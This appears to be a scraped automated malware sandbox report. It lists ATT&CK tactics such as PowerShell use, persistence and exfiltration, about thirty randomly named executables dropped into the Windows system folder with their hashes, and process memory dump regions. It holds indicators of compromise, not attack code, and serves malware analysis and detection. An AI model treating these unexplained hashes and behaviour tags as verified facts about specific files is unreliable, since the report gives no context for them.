Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\system\CLXUmDH.exe

Filesize
2.7MB

MD5
403ce197baf3bee8f51fa5ab8812676a

SHA1
cc2a81b142fcfe0b4d43346e689dc4eed09393f9

SHA256
08b68656d2f6510d478dce727a4f05d8a7c619ee3d25a3a3637a3ca0deff7de8

SHA512
283981bec063277be48097f5f20675aaafe446bdf715a18c422b42356a97e57c1825c33d9d8eaa499f706a4ea6a93c86ab310029c8971c7b317e2129290dd664

Download Submit
C:\Windows\system\DrppFZP.exe

Filesize
2.7MB

MD5
ed1af917a6a7f37a9f0a71d09e4aa2ef

SHA1
1b0c003a57995c4b84d8643cf91608b59cb2e879

SHA256
3890d1eee6c8a5c93e42d1523e6616178fcdc6a6275389059396a9fbefac9c51

SHA512
5e604f1be8ed5d92e82a9410d71062dcd0f1107d0516c7ea36c1a3dae04c8ee3a131d76e726e54293da87fb47c2629d059d69847c6b33ea4d07cafaa67705c9b

Download Submit
C:\Windows\system\FOBCpCu.exe

Filesize
2.7MB

MD5
968581659705dba16e312fbc072394a9

SHA1
490dff2b47e3910ba2678c4c0fcd21fdac302c24

SHA256
5a48568803585372696dfa2d428161a900dcf93d0e362d8909aee10136d6f0bb

SHA512
29d88eadc4734962087c8e56beeeac1b2c2fc11b76975275cf13f81e799ac1a6562d298add3869102ac4d4706f0891e97ee095939dec68af7768142a79f337af

Download Submit
C:\Windows\system\GGtxDor.exe

Filesize
2.7MB

MD5
0d965bc4fdfb81462c9e38983b35ee33

SHA1
1c1083d3edb90e515b6ec8e75e8df88cbc120e1b

SHA256
6c8a3e2053e18215c429bc2d655a679e82b32541ea6a7f6862a8b15bb485bad1

SHA512
8f4df0ce9f6c95d4986fb4ae026a51f3dc0b02b7c668d335b9caee465d86da6f2063c446cabff7dd19583959582f1c453793ce0fa60a1933e45122aed7c81b84

Download Submit
C:\Windows\system\JybwTgS.exe

Filesize
2.7MB

MD5
ff7f9bddaaf1c7f2fc5be0d407f93563

SHA1
fddf0a1eb53e5c54f8695590edbcd619a40ac614

SHA256
adc7e8d0b3daf20e88d382172c9e080b92d8f3bbbca3a217e3248cbbb368fd78

SHA512
9f40bc3c76151b4e1814664b20eb411934d2bf00c7567304a1521e81a21ec4e25932883815aecd76c80e1151e79b58b2edb28955788bcd1ed7e469161ec8a12f

Download Submit
C:\Windows\system\LDEyfed.exe

Filesize
2.7MB

MD5
b145d0b5e8cdaf81231a04539b6ff5e5

SHA1
b08a10cf0a7f29039e2d4b2ec26c36c4d5aa5691

SHA256
e001089e4c1041b33c786090483279f9ce348eec6a4d53a21d4b2b13bf0aa0dd

SHA512
289f4dc652d5140093c16ca44c9075a8c4b8b8db3c66407008c9a3a767c788f354fe61be407228047c3a53ba06a086bac662e3ef0611238ba115064104d16e59

Download Submit
C:\Windows\system\MQfAINe.exe

Filesize
2.7MB

MD5
5a7aecc4452bc4ab77ac6623c8956f3b

SHA1
0dec73a68340e8e0a9e5c018919bae0feeb17da5

SHA256
03230bc118b1a08821fba7760e7b5052f9d31f4219ea71dba9fb9953d2ded0dd

SHA512
9fcc9421eb4d5ef37e28761aadc8b36b1f392f0566a15a5e959130e11e6b4e2f94770d500c7b9f85b904f7e00df0cb478f1e522a447a491685b61b9b7c89a85d

Download Submit
C:\Windows\system\OGKzOFx.exe

Filesize
2.7MB

MD5
903ca3e3707ec6387761a632f13e5b6b

SHA1
9b3d8a44018ed687c7922809fd9af73e3ac8e001

SHA256
f3e12c2b3cb0c29fd9dbc64f5928c283fadbc1992b6afb7b0444b1e3fd67fdae

SHA512
ddc37a21723533e3dfec3c71856be2d90e0b331030448fe426557bdc443def6da496c425581c3632f2dae4d77ed47055e1fa879a2bde5376b9459ae319f58a65

Download Submit
C:\Windows\system\SknHEPM.exe

Filesize
2.7MB

MD5
81fe5fe32ad816e79c5ef9e6eafc9198

SHA1
79d6bda87fcc28e56b2d5de2036634b8737f3fe0

SHA256
ba6c74c525108a21eda4997c98e09a94fe45bda09a42396bf982dc9ba6549237

SHA512
d4abc4878ae4f7ec49e1f36dbb0ea694744e267deb29fd9cd7cb852baf7cce08a193a2dfab5038ecdcbff7687ed465cd0bbca43aa8a8c97939847deea3b1a9f3

Download Submit
C:\Windows\system\UHJYXlD.exe

Filesize
2.7MB

MD5
b9d2ff6e9fbb95bcb25a1cc4b0dc264b

SHA1
e0b9b5c47335d11279a61e98c5f017cfb05c0de4

SHA256
d10166cff1673cec8bd1c692e666fe86af498cf3786c84bfe1a7d9925e983949

SHA512
6384cbf2d1a6823af49950fa33aaf99b1e7e002de69533b73bf64ecb4e461bce535dcd97a27a77d4b7268a0646363849769ee97f7a24e73f7abe64e2b9f02dea

Download Submit
C:\Windows\system\XSmnQbf.exe

Filesize
2.7MB

MD5
ef6ef760890e1fbf3a2b5d80698f9675

SHA1
69577454bde8dae8d9b1316a092da8702f7cc1f0

SHA256
cb124a2ade6a95655cbbe455ac21976924fa1c96217ba39cf4c21555e1e351d3

SHA512
a7ac398ee340fb46ad36936d997345bffe46f737c1db4ea86cb2d346fc874da84ce5ef32b32cfbad62075d12ca1300e2eba3c05c75c92f9a6c51c7bef90005d5

Download Submit
C:\Windows\system\XUGvYeN.exe

Filesize
2.7MB

MD5
607cf8a37a4427c682c146fb9536178d

SHA1
d69d216c496bb669116822db8e6c3130a44a6866

SHA256
905130a4b212427b6f8da22cf6f795ea9a8a31ece13e621cde920e5b229defde

SHA512
d7e362f3916cca1e40b0e6c84a0c1fda64c5c384a48f448390a19b7c02698cbf7cf429a1676bb14aa63e265f308f3550601f9f512317970c012531feda420821

Download Submit
C:\Windows\system\ZRBOIJG.exe

Filesize
2.7MB

MD5
fe202215cceebec3c56019021bb43521

SHA1
240e12b2fdcd275c41afe4cd87e747f1a2364665

SHA256
31470db34e2abd6dccaaef5bb5f5b46a3ffc0aceb4d4b9546794a90b8ac23a98

SHA512
e1152c6ee700093842016824f5898d501d5f70116db41ece5d5d6493074c2e6866206faaf9607bf3a2a8c8d47805ead3db9f0595027093d4ba7583c29d5deadb

Download Submit
C:\Windows\system\ZyFlvag.exe

Filesize
2.7MB

MD5
94ae5143b15920c2c694d14a9e903b6e

SHA1
1d4e37cb4dcf40c456772c8ac93af0fe7a27bfec

SHA256
4df0da6363b893f6566c11783b6729e3e5fc3310925aca68dd7eaa501cbd869b

SHA512
5506ce7a452e2ba57c612612ee94bb61720fb97be7b39d179ff8bc4462d69e4426f77c0b18335098a2bf3a6e84c265926e488a05176278897dcb241d1dee5b19

Download Submit
C:\Windows\system\eYaajgX.exe

Filesize
2.7MB

MD5
a17e91ce46e521e1832517320ac4a9f0

SHA1
3d2aacaadfdc07b5e74a39ba2776686e8dce3bb4

SHA256
166d71a90da48c2ffa1c116f748b9c010264952113f0f1b5d74e7cfba411f323

SHA512
e4e84d65d49c131a5c834e43edf0192805cdd2fa853b5bbbf3c064a31a08c297fd5205ec240c7024e341e718b8528a23b92e3e3af201367a1cbc365db894455b

Download Submit
C:\Windows\system\ffCOExs.exe

Filesize
2.7MB

MD5
e45ef01451de1c4a804e05b4c0b37643

SHA1
83b3f9de38f6db7c40e3e3881f63c42efa981eb0

SHA256
105b5d3a3ecac6d0080b421a77d25fbd05702a41bd4bffdc8e903f847ce26b4a

SHA512
911ec12f51b3c69e9f46271374e09d0af6182c38b674ad9ec08c485790db723d43980e2ece01c1d54314dd4e660e6c5a9f8064301e01af5e7bae6201da468457

Download Submit
C:\Windows\system\hrVuehZ.exe

Filesize
2.7MB

MD5
1c1806987d92fe02350f5ef2db40dcaf

SHA1
3a0bd3c1cacbae6316e09aaacbe2157a07f5e90e

SHA256
c58caa6c82b35521df5d12c20ad6c2d8040065dfebc3ae2c640d16716e76cadf

SHA512
de3130d9d3c16f943fe594b0103d026170d6686cb4a8906e6692848ec1048c68ddb03d6e8b589b8e0d29bc438d29df0279514ca396862ad42f865e0522320391

Download Submit
C:\Windows\system\jIRGmlw.exe

Filesize
2.7MB

MD5
4e09fc42302a33a5942bbabcd9f7ebcc

SHA1
7f9735e49034c17756c3a5c3c0812b2b228a4025

SHA256
661582e256b952a91a2009ec5f7f029467850a4f889b276105f5d70c25a0f542

SHA512
f88b2a7d6df2b819b8cfd7e911e699980715f90f765b55fb8891f1290fb8062ae223719d5ecb8f74236185c45034059e3dab41f92f73be761cb4e326b95d28fb

Download Submit
C:\Windows\system\ksAFDZF.exe

Filesize
2.7MB

MD5
3ce2d4468f19c78e3dcb11c0105dc17f

SHA1
ae2be7e8c4363ff21b63029e349c71c023658e3a

SHA256
0b17395a8c0bef47ae47e644e527e9bb4ef7407205c8bc4d8157dfb2f65f4e0c

SHA512
d4c4bfebc1e971d0e2b3305dc4aaf8bc99cea6f310fb358efc485eaa678409150409c4e12e8189280f2bcf909a7378aa3f57415ca7f561673291f5a88202e850

Download Submit
C:\Windows\system\lJaRexU.exe

Filesize
2.7MB

MD5
a996df7b5dbe96f8baec61f92a90cd2c

SHA1
953bc73394781c07991f7246048ba0fc2fa00d97

SHA256
055a92cfab726d3257081bcc6e5aa3cba14b23462989c7ba4451edaf29f27588

SHA512
fb4fd86f63c9b92dd9cef090389ad07205d99a9a7ebd59fd89f26e5b2437194c002e5cb0590dfbdc81d41f672cb3ec13fea263a8ecc1ee72e5df5a85d8288d1c

Download Submit
C:\Windows\system\lqnObMQ.exe

Filesize
2.7MB

MD5
26df59cf2f417daa163ac40cc9af02fe

SHA1
d3e645830f1310ad677099ce86bd6e24b8ae3939

SHA256
c0bbb305285c3c70c166834c89e89032e95f635ad3f2a6ef2f3acee912668a35

SHA512
acfdad3694d481bce218670c2a83268c139c12931ca6a0c8cd7f7160d41decfa9aa576926444bc21a360b07e91e1bd90ac088afcc200028d8f11108dc2a141a2

Download Submit
C:\Windows\system\nkYKBGG.exe

Filesize
2.7MB

MD5
8a8422f539c599b68e93cd5b1e359a9b

SHA1
4a14e5dc0c13d507b521dec9cae4af15e2a96b3a

SHA256
842112f9daf832711e66d8e5c8019ca23c92b9513cedb2b5b22b2c4742cd661c

SHA512
07ac845c984a6018eb7bf637b8c2fcd9cc0a3643fccf8ccfb1d6c90962677347c67c3ff60e290a223d0ed1f66221cb6bb2b49020cd67046af1dd2a09454514bf

Download Submit
C:\Windows\system\rFNiRzD.exe

Filesize
2.7MB

MD5
cbe5eca6ac4717ccfb51a402010a3a47

SHA1
8c3df93e065fb8738c500b71679872f6b222614f

SHA256
03bc2fe49a5e876319e7b3e52a754876e6891aba13296da4abee3a40a020e28b

SHA512
b20bfd3692685aae944a1325baf110f1f51f2c9c26544b9d7ebbcea939df1b503cdfc4627bd4f1dde22630571ec227fd4747d916f63c12a6eb30841f3bc140ad

Download Submit
C:\Windows\system\rqfyEKe.exe

Filesize
2.7MB

MD5
327a55ef8b84f29f279b4f589257c4c8

SHA1
c49b39955c614190774d11e2fa459982c587fd3f

SHA256
ca16341a428dea583d870e36f0e4ae1b795ddec9d8f557b6bb9b7962d9f8473f

SHA512
07f2f8320fb236c7af84ef252487185e32bde8828a5ac0deba036e5158440a0323baae21e30e75e6f404058165eaee7d662e475a33057f58d4eb49480aaf3d0b

Download Submit
C:\Windows\system\vUvTsGF.exe

Filesize
2.7MB

MD5
c8f2b96a5a9624298c1e8b8df2ab452b

SHA1
6a4706950a52867f11fe95bedde219cf68f6c958

SHA256
219e8638d51d1ccf2e3b14582bff5b183cc1bf10d574f2e7ab00b186d35a249a

SHA512
739319e261e9c9a839ae74daf04a3446f1d05f1403734e9f591a463a2ed1eb3c7673b68ba830213856cc338fa1449093d435720b4e040d10c53fda737ff50371

Download Submit
C:\Windows\system\vwuWsWW.exe

Filesize
2.7MB

MD5
106df27586adb0e8e6053edd8980a7ba

SHA1
7ac4be86af50060617d081202540e8f7f92b7548

SHA256
5683764655f181ad89085182f7e341a7015afbf995cddf66b2bf260152aa6ff3

SHA512
98b120b97f047a75995873eb29edb031319247726dc5589d4b57202b0071796bed8f9a3bf9a19a1b296b1d47957d68a868e5716b77541b3aa203f382eea850b8

Download Submit
C:\Windows\system\xyscjDJ.exe

Filesize
2.7MB

MD5
f96007f0cdae3969c438c3620cf68d56

SHA1
c8dddf19871defa36a03f5e99bb277cb71801369

SHA256
658cdcc2af78016f9a3a57a910f7cc8bd7b9e0696e4601aba1a6099e69cdf6cc

SHA512
47977c8b14dc42f1ed8895ef147984361422f58a0c48c831a647daf58b4d897cb6da96fefcca4245db3fda69f8c87cd2c3ee33dc4fd9415da44cbd065aef8d4e

Download Submit
\Windows\system\BnaUWft.exe

Filesize
2.7MB

MD5
de2890bacadd4d8ede95299ab0609930

SHA1
c2079fe5404a3bb2dedaaad88f1869c6f231c432

SHA256
65d59d21e4080fb8724ebdb86b1b67d10a641016b9ff183be7980a87665aa6d0

SHA512
bba53cc8a629dc5ac683da7fd3d951ae242a85bef066c66dff4eee70bc31392e7dde28e91bea8b9bb611b31e5432b805db90d3b95155136267c4af6a0b6843a6

Download Submit
\Windows\system\EdJCOhp.exe

Filesize
2.7MB

MD5
9c66db2644eea3b225bd89384bd39034

SHA1
4180aa50a4ff2e68f5e369d05038c26f4f2c5fa3

SHA256
dbef0bdef081cf8ed0ee0f7e77dd8222f939f16531aacbf64f3d802e9a57b88b

SHA512
de67d13d489a779c4dadf3f967f473e460a2715e753bbb7c21a6a3e97df3c7b6e801f1a4420e56fcda530cebfe602d715e03827c51bc7deb1bd69968577cbac9

Download Submit
\Windows\system\LiKIlGk.exe

Filesize
2.7MB

MD5
731b9206d370bc146d01b3a076724acd

SHA1
98d4bf1793f047df9482dacbb1732425ed82f293

SHA256
72113aee33b0a68312abc1f27503c9480e8866c57307132b1167701b6fd8823b

SHA512
e3eb0181f1269d94d4b1e93cec723fdeeb1b9a2852f34f875a5f0cd845a8399d19ff16f55dc32cfb99c39a61ad69f6ac8fc79ec0088ebd9aa9c0a235022d5131

Download Submit
\Windows\system\dOUZNUN.exe

Filesize
2.7MB

MD5
f9dcbbf433127504299e779f38900a01

SHA1
b6e9150a686e39383d749eccf10e214f5736e0e8

SHA256
2dc0c5024ad2180ee822676cff6bae123954be5ea67e228685ffe2309f471e13

SHA512
8e0690a4dcb37a0d521c011ea072902f579e084f50eb6d8d3c3ba70cb98568b223e4ffce27aec8ca742d565a225c5bf8a14973ab0314cfb0cca82af4396ee271

Download Submit
\Windows\system\rhRVbmH.exe

Filesize
2.7MB

MD5
8eb23e9464f1f5d2aafed97174b36cdd

SHA1
0837ee53349d0cb4c27ce6e2e421f459203744d2

SHA256
073a66cde7ee7797f73501627492ac883d766f143260161689c91bb3cfb5954a

SHA512
c859475dc2ec3f0e103b672ead33f4f3296d5ee14b80eeba0738bfcdb75a5f520eae8df5dfd4b2c3ed27c74fc20bdfa596ec4028ed6dc6c913b2a1fc349025b1

Download Submit
memory/1640-3140-0x000000013F800000-0x000000013FBF2000-memory.dmp

Filesize
3.9MB

Download
memory/1640-106-0x000000013F800000-0x000000013FBF2000-memory.dmp

Filesize
3.9MB

Download
memory/1720-88-0x00000000035C0000-0x00000000039B2000-memory.dmp

Filesize
3.9MB

Download
memory/1720-107-0x000000013F370000-0x000000013F762000-memory.dmp

Filesize
3.9MB

Download
memory/1720-90-0x00000000035C0000-0x00000000039B2000-memory.dmp

Filesize
3.9MB

Download
memory/1720-92-0x000000013F600000-0x000000013F9F2000-memory.dmp

Filesize
3.9MB

Download
memory/1720-110-0x000000013F820000-0x000000013FC12000-memory.dmp

Filesize
3.9MB

Download
memory/1720-0-0x00000000000F0000-0x0000000000100000-memory.dmp

Filesize
64KB

Download
memory/1720-11-0x000000013F590000-0x000000013F982000-memory.dmp

Filesize
3.9MB

Download
memory/1720-96-0x000000013F450000-0x000000013F842000-memory.dmp

Filesize
3.9MB

Download
memory/1720-25-0x000000013F5E0000-0x000000013F9D2000-memory.dmp

Filesize
3.9MB

Download
memory/1720-94-0x00000000035C0000-0x00000000039B2000-memory.dmp

Filesize
3.9MB

Download
memory/1720-1-0x000000013FC70000-0x0000000140062000-memory.dmp

Filesize
3.9MB

Download
memory/1720-105-0x000000013F800000-0x000000013FBF2000-memory.dmp

Filesize
3.9MB

Download
memory/1720-102-0x000000013F530000-0x000000013F922000-memory.dmp

Filesize
3.9MB

Download
memory/2136-15-0x000000013F6B0000-0x000000013FAA2000-memory.dmp

Filesize
3.9MB

Download
memory/2136-3146-0x000000013F6B0000-0x000000013FAA2000-memory.dmp

Filesize
3.9MB

Download
memory/2544-108-0x000000013F370000-0x000000013F762000-memory.dmp

Filesize
3.9MB

Download
memory/2544-3154-0x000000013F370000-0x000000013F762000-memory.dmp

Filesize
3.9MB

Download
memory/2556-31-0x000000001B840000-0x000000001BB22000-memory.dmp

Filesize
2.9MB

Download
memory/2556-28-0x000007FEF576E000-0x000007FEF576F000-memory.dmp

Filesize
4KB

Download
memory/2556-86-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-27-0x00000000029F0000-0x0000000002A70000-memory.dmp

Filesize
512KB

Download
memory/2556-994-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/2556-34-0x00000000020C0000-0x00000000020C8000-memory.dmp

Filesize
32KB

Download
memory/2556-109-0x000007FEF54B0000-0x000007FEF5E4D000-memory.dmp

Filesize
9.6MB

Download
memory/2616-95-0x000000013F9D0000-0x000000013FDC2000-memory.dmp

Filesize
3.9MB

Download
memory/2648-100-0x000000013F450000-0x000000013F842000-memory.dmp

Filesize
3.9MB

Download
memory/2648-3141-0x000000013F450000-0x000000013F842000-memory.dmp

Filesize
3.9MB

Download
memory/2672-93-0x000000013F600000-0x000000013F9F2000-memory.dmp

Filesize
3.9MB

Download
memory/2736-87-0x000000013F820000-0x000000013FC12000-memory.dmp

Filesize
3.9MB

Download
memory/2740-104-0x000000013F530000-0x000000013F922000-memory.dmp

Filesize
3.9MB

Download
memory/2740-3148-0x000000013F530000-0x000000013F922000-memory.dmp

Filesize
3.9MB

Download
memory/2756-91-0x000000013FB80000-0x000000013FF72000-memory.dmp

Filesize
3.9MB

Download
memory/2756-3143-0x000000013FB80000-0x000000013FF72000-memory.dmp

Filesize
3.9MB

Download
memory/2832-26-0x000000013F5E0000-0x000000013F9D2000-memory.dmp

Filesize
3.9MB

Download
memory/2900-13-0x000000013F590000-0x000000013F982000-memory.dmp

Filesize
3.9MB

Download
memory/2916-89-0x000000013FCE0000-0x00000001400D2000-memory.dmp

Filesize
3.9MB

Download